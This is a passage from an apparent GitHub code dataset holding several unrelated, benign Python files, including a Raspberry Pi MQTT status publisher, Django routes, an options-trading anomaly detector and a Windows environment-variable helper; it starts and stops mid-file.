\"cpu_usage\": get_cpu_usage(),\n \"power_status\": get_rpi_power_status(),\n \"power_status_value\": get_rpi_power_status_value(),\n \"last_boot\": get_last_boot(),\n }),\n qos=1, retain=False\n )\n\n log.info(\"Publishing device status done\")\n\ndef get_temp():\n temp = check_output([VCGENCMD,\"measure_temp\"]).decode(\"UTF-8\")\n return str(findall(\"\\d+\\.\\d+\",temp)[0])\n\ndef get_model():\n model = check_output([\"cat\", MODEL_PATH]).decode(\"UTF-8\")\n return str(model)\n\n\ndef get_disk_usage(mountPath):\n return str(psutil.disk_usage(mountPath).percent)\n\ndef get_memory_usage():\n return str(psutil.virtual_memory().percent)\n\ndef get_cpu_usage():\n return str(psutil.cpu_percent(interval=None))\n\ndef get_rpi_power_status_value():\n _throttled = open(SYSFILE, 'r').read()[:-1]\n _throttled = _throttled[:4]\n \n return _throttled\n\ndef get_rpi_power_status():\n _throttled = get_rpi_power_status_value()\n\n if _throttled == '0':\n return 'OK'\n elif _throttled == '1000':\n return 'Undervoltage'\n elif _throttled == '2000':\n return 'Throttling due to power outage'\n elif _throttled == '3000':\n return 'Throttling due to power outage'\n elif _throttled == '4000':\n return 'Heavy throttling due to power outage'\n elif _throttled == '5000':\n return 'Heavy throttling due to power outage'\n elif _throttled == '8000':\n return 'Overheating'\n else:\n return 'Unable to get power status'\n\ndef get_state_topic():\n return \"homeassistant/sensor/\"+ deviceName +\"/state\"\n\ndef configure_device(): \n if not client.connected_flag:\n log.info(\"Publishing device config skipped: not connected\")\n return\n\n log.info(\"Publishing device config\")\n\n deviceInfo = {\n \"identifiers\": [deviceName],\n \"name\": deviceName,\n \"manufacturer\": \"Raspberry PI Foundation\",\n \"model\": get_model()\n }\n \n client.publish(\n topic=\"homeassistant/sensor/\"+ deviceName +\"/temperature/config\", \n payload=json.dumps({\n \"unique_id\": deviceName + \"_temperature\",\n \"device\": deviceInfo,\n \"name\": deviceName + \" Temperature\",\n \"icon\": \"mdi:coolant-temperature\",\n \"state_topic\": get_state_topic(),\n \"device_class\": \"temperature\",\n \"unit_of_measurement\": \"°C\", \n \"value_template\": \"{{ value_json.temperature}}\",\n \"enabled_by_default\": True,\n }, default=dumper), qos=1, retain=True\n )\n\n for pair in trackedMounts.split(\";\"):\n mountConf = pair.split(\":\")\n mountPath = mountConf[1]\n mountName = mountConf[0]\n\n client.publish(\n topic=\"homeassistant/sensor/\"+ deviceName +\"/disk_usage_\"+mountName+\"/config\", \n payload=json.dumps({\n \"unique_id\": deviceName + \"_disk_usage_\" + mountName,\n \"device\": deviceInfo,\n \"name\": deviceName + \" Disk Usage (\" + mountName + \")\",\n \"icon\": \"mdi:harddisk\",\n \"state_topic\": get_state_topic(),\n \"unit_of_measurement\": \"%\", \n \"value_template\": \"{{ value_json.disk_use.\"+mountName+\"}}\",\n \"enabled_by_default\": True,\n }, default=dumper), qos=1, retain=True\n )\n \n client.publish(\n topic=\"homeassistant/sensor/\"+ deviceName +\"/memory_usage/config\", \n payload=json.dumps({\n \"unique_id\": deviceName + \"_memory_usage\",\n \"device\": deviceInfo,\n \"name\": deviceName + \" Memory Usage\",\n \"icon\": \"mdi:memory\",\n \"state_topic\": get_state_topic(),\n \"unit_of_measurement\": \"%\", \n \"value_template\": \"{{ value_json.memory_use}}\",\n \"enabled_by_default\": True,\n }, default=dumper), qos=1, retain=True\n )\n\n client.publish(\n topic=\"homeassistant/sensor/\"+ deviceName +\"/cpu_usage/config\", \n payload=json.dumps({\n \"unique_id\": deviceName + \"_cpu_usage\",\n \"device\": deviceInfo,\n \"name\": deviceName + \" Cpu Usage\",\n \"icon\": \"mdi:cpu-64-bit\",\n \"state_topic\": get_state_topic(),\n \"unit_of_measurement\": \"%\", \n \"value_template\": \"{{ value_json.cpu_usage}}\",\n \"enabled_by_default\": True,\n }, default=dumper), qos=1, retain=True\n )\n\n client.publish(\n topic=\"homeassistant/sensor/\"+ deviceName +\"/power_status/config\", \n payload=json.dumps({\n \"unique_id\": deviceName + \"_power_status\",\n \"device\": deviceInfo,\n \"name\": deviceName + \" Power Status\",\n \"icon\": \"mdi:power-plug\",\n \"state_topic\": get_state_topic(),\n \"value_template\": \"{{ value_json.power_status}}\",\n \"enabled_by_default\": True,\n }, default=dumper), qos=1, retain=True\n )\n\n client.publish(\n topic=\"homeassistant/sensor/\"+ deviceName +\"/power_status_value/config\", \n payload=json.dumps({\n \"unique_id\": deviceName + \"_power_status_value\",\n \"device\": deviceInfo,\n \"name\": deviceName + \" Power Status (Numeric)\",\n \"icon\": \"mdi:power-plug\",\n \"state_topic\": get_state_topic(),\n \"value_template\": \"{{ value_json.power_status_value}}\",\n \"enabled_by_default\": True,\n }, default=dumper), qos=1, retain=True\n )\n\n client.publish(\n topic=\"homeassistant/sensor/\"+ deviceName +\"/last_boot/config\", \n payload=json.dumps({\n \"unique_id\": deviceName + \"_last_boot\",\n \"device\": deviceInfo,\n \"name\": deviceName + \" Last Boot\",\n \"icon\": \"mdi:clock\",\n \"state_topic\": get_state_topic(),\n \"device_class\": \"timestamp\",\n \"value_template\": \"{{ value_json.last_boot}}\",\n \"enabled_by_default\": True,\n }, default=dumper), qos=1, retain=True\n )\n\n log.info(\"Publishing device config done\")\n\ndef dumper(obj):\n try:\n return obj.toJSON()\n except:\n return obj.__dict__\n\nif __name__ == \"__main__\":\n log.info(\"Initializing signals\")\n\n signal.signal(signal.SIGTERM, signal_handler)\n signal.signal(signal.SIGINT, signal_handler)\n\n log.info(\"Trying to connect: host \" + str(broker_url) + \" port \" + str(broker_port))\n\n client.connect(broker_url, port=broker_port, keepalive=60)\n \n log.info(\"Continue configuration\")\n\n device = Job(interval=timedelta(seconds=60 * 10), execute=configure_device)\n sensors = Job(interval=timedelta(seconds=WAIT_TIME_SECONDS), execute=update_sensors)\n\n device.start()\n sensors.start()\n\n log.info(\"Jobs started\")\n log.info(\"Starting loop\")\n\n client.loop_forever()\n \n while True:\n try:\n time.sleep(1)\n except ProgramKilled:\n log.info(\"Stopping\")\n sys.stdout.flush()\n device.terminate()\n sensors.terminate()\n break\n \n","repo_name":"scaytrase/vgencmd-mqtt-publisher","sub_path":"publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":10880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3973715117","text":"class Cage:\n \"\"\"This class describe one cell\"\"\"\n temperature = None\n material = None\n mass = None\n upd_q = None\n saved_q = None\n dx = 10 ** (-3)\n S = 10 ** (-6)\n t_0 = 10 ** (-3)\n\n def interaction(self, *cell_list):\n for i in range(len(cell_list)):\n self.upd_q += 0.5 * (self.material.conductivity + cell_list[i].material.conductivity) * (\n self.temperature - cell_list[i].temperature) / Cage.dx * Cage.t_0 * Cage.S\n if round(self.temperature, 1) == self.material.trans_temperature and self.material != cell_list[i].material:\n self.saved_q += abs(self.upd_q) * 10\n self.upd_q = 0\n if self.saved_q >= self.material.fusion * self.mass:\n self.material = cell_list[i].material\n self.saved_q = 0\n\n def change_temp(self):\n self.temperature -= self.upd_q / (self.material.capacity * self.mass)\n self.upd_q = 0\n\n def __init__(self, temperature=None, material=None):\n self.temperature = temperature\n self.material = material\n self.mass = material.density * Cage.S * Cage.dx\n self.upd_q = 0\n self.saved_q = 0\n\n","repo_name":"kirillis/ice-project","sub_path":"Cell_version_2/Test_Cage.py","file_name":"Test_Cage.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41035714662","text":"import os\n\nimport pandas as pd\nimport torch\nimport transformers\nfrom PIL import Image\nfrom tqdm.contrib import tzip\nfrom transformers import AutoImageProcessor, AutoModel\n\ntransformers.logging.set_verbosity_error()\n\ndevice = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\n\ncub_200_names_file = '../shared/cub-200-folder-names.txt'\nlatin_names_file = '../shared/latin_names.txt'\n\ndata_source = 'cub-200'\n# data_source = 'botw'\n\nroot_directory = '../botw_data/MEDIA/Images' if data_source == 'botw' else '../CUB_200_2011/images'\n\n# 'microsoft/resnet-34', 'microsoft/focalnet-tiny'\nused_models = ['google/vit-base-patch16-224-in21k']\n\n\ndef readfile(path):\n with open(path, 'r') as f:\n return f.read().splitlines()\n\n\ndef store_as_csv(embedding_dict, path):\n embedding_dim = len(list(embedding_dict.values())[0])\n\n columns = [f'Neuron_{x + 1}' for x in range(embedding_dim)]\n df = pd.DataFrame.from_dict(embedding_dict, orient='index', columns=columns)\n\n df.reset_index(inplace=True)\n df.rename(columns={'index': 'species'}, inplace=True)\n\n df.to_csv(path, index=False)\n\n\ndef get_image_embeddings(image, model, preprocessor):\n image = preprocessor(images=image, return_tensors=\"pt\").to(device)\n outputs = model(**image)\n\n return outputs.pooler_output.squeeze().detach().cpu().numpy()\n\n\ndef get_mean_embeddings(model, preprocessor, root_dir, folder_names, save_names):\n mean_embeddings = {}\n\n for folder, save_name in tzip(folder_names, save_names):\n subdirectory = os.path.join(root_dir, folder)\n class_files = os.listdir(subdirectory)\n\n class_embeddings = []\n\n for img_path in class_files:\n file_path = os.path.join(subdirectory, img_path)\n image = Image.open(file_path).convert('RGB')\n\n embedding = get_image_embeddings(image, model, preprocessor)\n\n class_embeddings.append(embedding)\n\n mean_embedding = sum(class_embeddings) / len(class_embeddings)\n\n mean_embeddings[save_name] = mean_embedding\n\n return mean_embeddings\n\n\nlatin_names = readfile(latin_names_file)\nfolder_names = readfile(latin_names) if data_source == 'botw' else readfile(cub_200_names_file)\n\nfor model_name in used_models:\n proc = AutoImageProcessor.from_pretrained(model_name)\n mod = AutoModel.from_pretrained(model_name).to(device)\n\n class_reps = get_mean_embeddings(mod, proc, root_directory, folder_names, latin_names)\n store_as_csv(class_reps, f'Image/{model_name.replace(\"/\", \"-\").split(\"-\")[1]}-{data_source}.csv')\n","repo_name":"hubanton/Cub-200-Scripts","sub_path":"Embeddings/image-embeddings.py","file_name":"image-embeddings.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42168583889","text":"#-*- coding:utf-8 -*-\r\nfrom django.conf.urls import patterns, include, url\r\nfrom view.view import v_index,v_help,v_test\r\nfrom app.userApp.views import v_logout,v_register,v_visit\r\nfrom app.activityApp.views import v_create\r\nfrom app.qrcodeApp.utils import qr_per\r\n\r\n#API接口\r\n#from view.api import api_login\r\n# Uncomment the next two lines to enable the admin:\r\n\r\nfrom django.contrib import admin\r\nadmin.autodiscover()\r\n\r\nurlpatterns = patterns('',\r\n url(r'^$',v_index),\r\n url(r'^myspace/',include('app.userApp.urls')),\r\n url(r'^u(\\d+)/$',v_visit),\r\n url(r'^show/',include('app.activityApp.urls')),\r\n url(r'^friend/',include('app.friendApp.urls')),\r\n url(r'^create/$',v_create,name=\"activity_create\"),\r\n url(r'^login/$', 'django.contrib.auth.views.login', \\\r\n {'template_name': 'login.tpl'}, name='logon'),\r\n url(r'^logout/$',v_logout),\r\n url(r'^help/$',v_help),\r\n url(r'^register/$',v_register,name=\"register\"),\r\n #test\r\n url(r'^test/$',v_test),\r\n\r\n url(r'^static/qrcode',qr_per),\r\n# url(r'^rejson/$',rejson),\r\n # Examples:\r\n # url(r'^$', 'Aike.views.home', name='home'),\r\n # url(r'^Aike/', include('Aike.foo.urls')),\r\n\r\n # Uncomment the admin/doc line below to enable admin documentation:\r\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\r\n\r\n # Uncomment the next line to enable the admin:\r\n url(r'^admin/', include(admin.site.urls)),\r\n)\r\n\r\n#API请求\r\nurlpatterns += patterns('',\r\n #用于登陆\r\n url(r'^api/',include('app.apiApp.urls')),\r\n )\r\n","repo_name":"Linktime/Aike","sub_path":"Aike/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31819936004","text":"import pandas as pd\nimport streamlit as st\nfrom aspectBasedSentimentAnalysis import AspectSentimentAnalyzer\nfrom constants import ASPECTS, FILENAME\n\n\nraw_data = pd.read_csv(FILENAME)\nanalyzer = AspectSentimentAnalyzer()\n\ndef get_rank_list(options): # the options are sensitive to order\n # call model to get the ranks\n # input: ordered aspects\n # output: ranked object ids\n objects = analyzer.get_ranking_by_aspect(options)\n # st.dataframe(objects)\n return objects\n\ndef display_ranked_list(objects):\n # inputs: object ids\n # outputs: dataframe for display\n display_cols = [\"Clothing ID\",\"Rating\",\"Positive Feedback Count\", \"Division Name\",\"Department Name\",\"Class Name\", \"combined_score\"]\n show_data = objects.merge(raw_data, how='inner')[display_cols] \\\n .groupby(\"Clothing ID\", as_index=False) \\\n .agg({\"Rating\": \"mean\", \"Positive Feedback Count\": \"mean\", \"Division Name\": \"unique\", \"Department Name\": 'unique', 'Class Name':'unique', \"combined_score\": \"unique\"}) \\\n .sort_values(by='combined_score', ascending=False)\n return show_data.set_index(\"Clothing ID\")\n\nclass SemanticCompare:\n def build_title(self):\n return st.title(\"Guess What You Like\")\n def build_input(self, options):\n sentences = get_rank_list(options)\n display = display_ranked_list(sentences)\n return st.dataframe(display)\n\nclass SemanticComparePage:\n def build(self):\n compare = SemanticCompare()\n compare.build_title()\n options = st.multiselect(\n \"Select the aspects you care the most:\",\n ASPECTS,\n ['color', 'comfortable']\n )\n compare.build_input(options=options)\n\npage = SemanticComparePage()\npage.build()\n","repo_name":"glorialy/CourseProject","sub_path":"src/review_ui.py","file_name":"review_ui.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"9283966046","text":"# -*- coding: utf-8 -*-\n\"\"\"\nProgramming Management\n\n- Introduction to Assertions\n- Fixing and debugging some code examples.\n\"\"\"\n\n# ASSERTIONS - a way to do DEFENSIVE PROGRAMMING\n\nnumbers = [1.5, 2.3, 0.7, -0.001, 4.4]\n\ntotal = 0.0\nfor num in numbers:\n assert num > 0.0, 'Data should only contain positive values'\n total += num\nprint('total is', total)\n\n\n\n# example of an assertion in a function\ndef calc_bulk_density(mass, volume):\n '''Return dry bulk density = poweder mass / powder volume.'''\n assert volume > 0, 'Problem with volume data'\n assert mass > 0, 'Problem with mass data'\n return mass / volume\n\n\n\ncalc_bulk_density(210, 0)\n\n\n\n\n\n\n## HELP ME WITH THIS CODE:\n \ndef sort_for_middle(a,b,c):\n '''Return the middle value of three\n Assumes that the values can actually be compared\n Usage: sort_for_middle(a,b,c). input three values\n '''\n values = [a,b,c]\n values.sort()\n return values[0]\n\nhelp(sort_for_middle)\n\nsort_for_middle(4,3,2)\n\n\n\n\n\n\n### CLEAN UP THIS CODE.\n\n# Read this program and try to predict what it does\n# Run it: how accurate was your prediction?\n# Refactor the program to make it more readable.\n\nn = 10\ns = 'et cetera et cetera'\nprint(s)\n\ni = 0\nwhile i < n :\n #print('at', j)\n new = ''\n for j in range(len(s)):\n left = j-1\n right = (j+1)%len(s)\n if s[left]==s[right]: \n new += \"-\"\n else: \n new += \"*\"\n s=''.join(new)\n print(s)\n i += 1 # shortcut i = i + 1\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"DeisData/python","sub_path":"archived/python-session7.py","file_name":"python-session7.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"74112092008","text":"import numpy as np\r\nimport pandas as pd\r\nimport itertools\r\n\r\n\r\nclass anomalyDetector:\r\n def __init__(self):\r\n self._atm_delta = [0.4,0.6]\r\n self._otm_delta = 0.4\r\n self._itm_delta = 0.6\r\n\r\n self._params = None\r\n self._thresh_dic =None\r\n self._train_contract = None\r\n self._train_outlier = None\r\n self._test_contract = None\r\n self._test_outlier = None\r\n self._train_performance = None\r\n self._test_performance = None\r\n\r\n def compile(self, _type=None, expiry=None, monthly=None, moneyness=None, params=None):\r\n self._type = _type\r\n self._expiry = expiry\r\n self._monthly = monthly\r\n self._moneyness = moneyness\r\n self.set_params(params)\r\n\r\n def set_params(self, params):\r\n self._thresh_dic = {'volume':np.arange(1,3.1,0.1), 'pcratio':np.arange(0.5,1.6,0.1),\r\n 'impliedvol':np.arange(0,1,0.1), 'openinterest':np.arange(1,3.1,0.1)}\r\n assert set(params['variable']).issubset(set(self._thresh_dic.keys())), 'invalid variable name'\r\n self._params = params\r\n self._thresh_dic = {k:self._thresh_dic[k] for k in params['variable']}\r\n\r\n def fit(self, train, win_thresh):\r\n self._train_contract = self.signal_contract(train)\r\n self._train_performance = self.optimize_threshold(win_thresh)\r\n \r\n def predict(self, test, win_thresh, param_thresh, verbose):\r\n self._test_contract = self.signal_contract(test)\r\n self._test_outlier = self.anomaly_dates(self._test_contract, param_thresh)\r\n test_perform = self.outlier_impact(self._test_contract, self._test_outlier, win_thresh=win_thresh, verbose=False)\r\n self._test_performance = self.record_to_df([[*test_perform, param_thresh]])\r\n if verbose:\r\n return self.outlier_impact(self._test_contract, self._test_outlier, win_thresh=win_thresh, verbose=verbose)\r\n \r\n\r\n def evaluate(self, winprob=0.7, topn=1):\r\n #get top 1 winning probability entries in each group\r\n performance = self._train_performance\r\n temp = performance[(performance['outliernum']>1) & (performance['winprob']>winprob)]\r\n temp = temp.sort_values(['outliernum','winprob'],ascending=[False,False]).groupby('outliernum').head(topn)\r\n return temp\r\n \r\n def signal_contract(self, df):\r\n \"\"\"\r\n filter out contracts that act as outlier detectors\r\n \"\"\"\r\n df = self.preprocess(df)\r\n cond = self.type_contract(df) & self.expiry_contract(df) & self.monthly_contract(df) & self.moneyness_contract(df)\r\n return df[cond]\r\n\r\n def anomaly_dates(self, df, thresh):\r\n \"\"\"\r\n return dates in which variables exceed threshold\r\n \"\"\"\r\n grouped = df.groupby('quotedate')\r\n conditions = []\r\n variable = self._params['variable']\r\n direction = self._params['direction']\r\n window = self._params['window']\r\n volume_operation = self._params['volume_operation']\r\n log_trans = self._params['log_trans']\r\n \r\n for i, v in enumerate(variable):\r\n if v=='volume':\r\n vol_series = grouped['volume'].agg(volume_operation)\r\n vol_series[vol_series==0] = 0.01\r\n if log_trans: vol_series = np.log(vol_series)\r\n vol_rollingmean = vol_series.rolling(window).mean().shift()\r\n vol_rollingstd = vol_series.rolling(window).std().shift()\r\n vol_thresh = vol_rollingmean + vol_rollingstd*thresh[i]\r\n cond = pd.eval('vol_series' + direction[i] + 'vol_thresh') \r\n \r\n if v=='pcratio':\r\n pcr = grouped['pcratio'].first()\r\n cond = pd.eval('pcr' + direction[i] + str(thresh[i])) \r\n \r\n if v=='openinterest':\r\n oi_series = grouped['openinterest'].mean()\r\n if log_trans: oi_series = np.log(oi_series)\r\n oi_rollingmean = oi_series.rolling(window,min_periods=1).mean().shift()\r\n oi_rollingstd = oi_series.rolling(window,min_periods=1).std().shift()\r\n oi_thresh = oi_rollingmean + oi_rollingstd*thresh[i]\r\n cond = pd.eval('oi_series' + direction[i] + 'oi_thresh')\r\n \r\n if v=='impliedvol':\r\n iv_series = grouped['impliedvol'].mean()\r\n iv_rolling = iv_series.rolling(window).quantile(thresh[i], interpolation='linear').shift()\r\n cond = pd.eval('iv_series' + direction[i] + 'iv_rolling')\r\n conditions.append(cond)\r\n \r\n dates = pd.concat(conditions, axis=1).all(axis=1)\r\n dates = dates[dates==1].index\r\n return dates\r\n \r\n def outlier_impact(self, df, outlier_date, win_thresh, verbose=True):\r\n price_series = df.groupby('quotedate')['underlying_last'].first()\r\n\r\n outlier_date_index = np.argwhere(np.in1d(price_series.index,outlier_date)).reshape(-1) \r\n next_day_index = np.clip(outlier_date_index + 1, 0, len(price_series)-1)\r\n next_5day_index = np.clip(outlier_date_index + 5, 0, len(price_series)-1)\r\n\r\n a = price_series[outlier_date_index].reset_index(drop=True)\r\n b = price_series[next_day_index].reset_index(drop=True)\r\n c = price_series[next_5day_index].reset_index(drop=True)\r\n \r\n next_day_return = np.log(b/a) \r\n next_5thday_return = np.log(c/a)\r\n avg_5thday_winprob = round((next_5thday_return>win_thresh).mean(),3)\r\n avg_5thday_posreturn = round(next_5thday_return[next_5thday_return>0].mean(),3)\r\n avg_5thday_negreturn = round(next_5thday_return[next_5thday_return<0].mean(),3)\r\n avg_5thday_expreturn = avg_5thday_posreturn*avg_5thday_winprob + avg_5thday_negreturn*(1-avg_5thday_winprob)\r\n \r\n output = pd.concat([a,b,c,next_5thday_return],axis=1)\r\n output.index = outlier_date\r\n output.columns = ['outlierday','nextday','5thday','5thday_return']\r\n\r\n if verbose:\r\n print('+1 day stock price increase probability:', round((next_day_return>win_thresh).mean(),3))\r\n print('+1 day stock price avg increase:', round(next_day_return[next_day_return>0].mean(),3))\r\n print('+1 day stock price avg decrease', round(next_day_return[next_day_return<0].mean(),3),'\\n')\r\n print('+5 day stock price increase probability:', avg_5thday_winprob)\r\n print('+5 day stock price avg increase:', avg_5thday_posreturn)\r\n print('+5 day stock price avg decrease:', avg_5thday_negreturn)\r\n print('+5 day expected return:', avg_5thday_expreturn,'\\n')\r\n return output\r\n \r\n else:\r\n return avg_5thday_winprob, len(output), avg_5thday_posreturn, avg_5thday_negreturn, avg_5thday_expreturn\r\n\r\n def record_to_df(self, record_list):\r\n variable = self._params['variable']\r\n performance = pd.DataFrame(record_list, columns=['winprob','outliernum','posret','negret','expret','/'.join(variable)])\r\n return performance\r\n\r\n def optimize_threshold(self, win_thresh):\r\n l = []\r\n for i, thresh in enumerate(itertools.product(*self._thresh_dic.values())):\r\n outlier = self.anomaly_dates(self._train_contract,thresh)\r\n stats = self.outlier_impact(self._train_contract, outlier, win_thresh=win_thresh, verbose=False)\r\n l.append([*stats, np.around(thresh,2)])\r\n if i%500 == 0:\r\n print(f'Testing {i}th combo')\r\n \r\n performance = self.record_to_df(l)\r\n return performance\r\n\r\n ##################################################################################\r\n #------------------------------- helper functions -------------------------------#\r\n ##################################################################################\r\n def pcratio(self, df):\r\n \"\"\"\r\n return put-call ratio by date\r\n \"\"\"\r\n ratio = df[df['type']=='put'].groupby('quotedate')['volume'].sum() / df[df['type']=='call'].groupby('quotedate')['volume'].sum()\r\n ratio.name = 'pcratio'\r\n return ratio\r\n\r\n def preprocess(self, df):\r\n \"\"\"\r\n add pcratio column to df\r\n \"\"\"\r\n pcratio = self.pcratio(df)\r\n return pd.merge(df, pcratio, how='left', left_on='quotedate', right_index=True)\r\n\r\n #contract filters\r\n def no_mask(self, df):\r\n return np.ones(len(df),dtype=bool)\r\n\r\n def type_contract(self, df):\r\n \"\"\"\r\n return call/put filter\r\n \"\"\"\r\n if self._type is None:\r\n return self.no_mask(df)\r\n else:\r\n return df['type']==self._type\r\n\r\n def expiry_contract(self, df):\r\n \"\"\"\r\n return expiry in current/next/3rd month filter\r\n \"\"\"\r\n if self._type is None:\r\n return self.no_mask(df)\r\n else:\r\n expiration, quotedate = df['expiration'], df['quotedate']\r\n expr_month = expiration.dt.year * 12 + expiration.dt.month\r\n quote_month = quotedate.dt.year * 12 + quotedate.dt.month\r\n if self._expiry == 'cur':\r\n return expr_month == quote_month\r\n if self._expiry == 'next':\r\n return expr_month - quote_month == 1\r\n if self._expiry == 'third':\r\n return expr_month - quote_month == 2\r\n\r\n def monthly_contract(self, df):\r\n \"\"\"\r\n return monthly/non-monthly filter\r\n \"\"\"\r\n if self._type is None:\r\n return self.no_mask(df)\r\n else:\r\n expiration= df['expiration']\r\n third_friday = (expiration.dt.day >=15) & (expiration.dt.day <= 21) & (expiration.dt.weekday == 4)\r\n if self._monthly:\r\n return third_friday\r\n else:\r\n return ~third_friday\r\n\r\n def moneyness_contract(self, df):\r\n \"\"\"\r\n return atm/otm/itm filter\r\n \"\"\"\r\n if self._type is None:\r\n return self.no_mask(df)\r\n else:\r\n delta = df['delta']\r\n if self._moneyness == 'atm':\r\n return (abs(delta) >= self._atm_delta[0]) & (abs(delta) <= self._atm_delta[1])\r\n if self._moneyness == 'otm':\r\n return abs(delta) < self._otm_delta\r\n if self._moneyness == 'itm':\r\n return abs(delta) > self._itm_delta","repo_name":"liweidong1218/Trading-tools","sub_path":"Signals/Option anomaly detection/anomaly_detection_class.py","file_name":"anomaly_detection_class.py","file_ext":"py","file_size_in_byte":10474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"19269506931","text":"import pandas as pd\nimport numpy as np\nimport os\n\nimport forcing_total\nimport doeclimF\n\nif not os.path.exists('data/'):\n print(\"FATAL ERROR: No data directory\")\n exit()\n\nif not os.path.exists('output/'):\n os.makedirs('output/')\n\nforcing = pd.read_csv( 'data/forcing_hindcast.csv')\nmod_time = forcing['year']\n\nclimate_sensitivity = 3.1\nocean_vertical_diffusivity = 3.5\naerosol_scaling = 1.1\n\nforcingtotal = forcing_total.forcing_total(forcing=forcing, alpha_doeclim=aerosol_scaling, l_project=False, begyear=mod_time[0], endyear=np.max(mod_time))\n\ndoeclim_out = doeclimF.doeclimF(forcingtotal, mod_time, S=climate_sensitivity, kappa=ocean_vertical_diffusivity)\n\ndoeclim_out.to_csv('output/doeclim_output.csv')","repo_name":"niharnandan/thesis","sub_path":"doeclim_driver.py","file_name":"doeclim_driver.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"14217520256","text":"import random\nimport copy\n# Consider using the modules imported above.\n\nclass Hat:\n def __init__(self, **kwargs):\n self.contents = list()\n self.initial_count = 0\n for key, value in kwargs.items():\n for i in range(value):\n self.initial_count += 1\n self.contents.append(key)\n\n\n def draw(self, num):\n chosen = list()\n\n try:\n for i in range(num):\n index = random.randint(0, len(self.contents) - 1) if len(self.contents) - 1 > 0 else 0\n chosen.append(self.contents[index])\n self.contents.pop(index)\n except IndexError:\n return chosen\n \n return chosen\n\n\n\n# This module has some poor data structure choices, but they were required by the instructions.\n# Otherwise, the tests might not pass.\ndef experiment(hat, expected_balls, num_balls_drawn, num_experiments):\n successes = 0\n \n for i in range(num_experiments):\n expected = expected_balls.copy()\n drawn = copy.deepcopy(hat).draw(num_balls_drawn)\n for ball in drawn:\n if ball in expected.keys():\n expected[ball] -= 1\n if expected[ball] == 0:\n del expected[ball]\n if not bool(expected): # If the dictionary is empty it will evaluate to false\n successes += 1\n break\n\n return successes / num_experiments","repo_name":"dangarmol/python-scientific-computing-fcc","sub_path":"Probability Calculator/prob_calculator.py","file_name":"prob_calculator.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1127982942","text":"from http import HTTPStatus\n\nfrom flask_restful import Resource, reqparse\nfrom flask_jwt_extended import get_current_user, jwt_required\n\nfrom app.models import SocialAccount\n\nremove_social_account = reqparse.RequestParser()\nremove_social_account.add_argument(\n \"social_name\", dest=\"social_name\", location=\"json\", required=True, type=str, help=\"Name of social service.\"\n)\n\n\nclass RemoveSocialAccount(Resource):\n \"\"\"\n Класс ручки для открепления соц сервиса от аккаунта.\n \"\"\"\n\n @jwt_required()\n def post(self):\n social_name = remove_social_account.parse_args().get(\"social_name\")\n user = get_current_user()\n social_account = SocialAccount.query.filter_by(user_id=user.id, social_name=social_name).one_or_none()\n if not social_account:\n return {\"message\": \"no social account\"}, HTTPStatus.CONFLICT\n social_account.delete()\n return HTTPStatus.OK\n","repo_name":"UtkinVadim/Auth_sprint_2","sub_path":"src/app/api/remove_social_account.py","file_name":"remove_social_account.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39795673020","text":"import sys\nimport argparse\nfrom ctwin32 import (\n ctypes,\n user,\n advapi,\n shell,\n HWND_BROADCAST,\n WM_SETTINGCHANGE,\n SMTO_NORMAL,\n REG_SZ,\n REG_EXPAND_SZ,\n KEY_READ,\n KEY_WRITE,\n )\n\n################################################################################\n\ndef env_var_root(system=False, access=KEY_READ):\n if system:\n pth = r\"SYSTEM\\CurrentControlSet\\Control\\Session Manager\"\n return advapi.RegOpenKeyEx(advapi.HKLM, pth, access)\n else:\n return advapi.HKCU\n\n################################################################################\n\ndef env_var_key(root, access=KEY_READ):\n return advapi.RegOpenKeyEx(root, \"Environment\", access)\n\n################################################################################\n\ndef is_persistent_env_var(name, system=False):\n with env_var_root(system) as root:\n with env_var_key(root) as key:\n result = False\n try:\n val, typ = advapi.RegQueryValueEx(key, name)\n result = (typ in (REG_SZ, REG_EXPAND_SZ)) and bool(val)\n except OSError:\n pass\n return result\n\n################################################################################\n\ndef broadcast_env_change():\n estr = ctypes.create_unicode_buffer(\"Environment\")\n user.SendMessageTimeout(\n HWND_BROADCAST,\n WM_SETTINGCHANGE,\n 0,\n ctypes.addressof(estr),\n SMTO_NORMAL,\n 500\n )\n\n################################################################################\n\ndef persist_env_var(name, value, system=False, do_broadcast=False):\n access = KEY_WRITE | KEY_READ\n with env_var_root(system, access) as root:\n with env_var_key(root, access) as key:\n if not value:\n advapi.RegDeleteValue(key, name)\n else:\n advapi.reg_set_str(key, name, value)\n if do_broadcast:\n broadcast_env_change()\n\n################################################################################\n\ndef persist_user_env_block(nv_dict, system=False):\n for n, v in nv_dict.items():\n persist_env_var(n, v, system, False)\n broadcast_env_change()\n\n################################################################################\n\ndef get_env_block(system=False):\n result = {}\n with env_var_root(system) as root:\n with env_var_key(root, KEY_READ) as key:\n for name, value, typ in advapi.reg_enum_values(key):\n if typ in (REG_SZ, REG_EXPAND_SZ):\n result[name] = value\n return result\n\n################################################################################\n\ndef parse_args():\n ape = 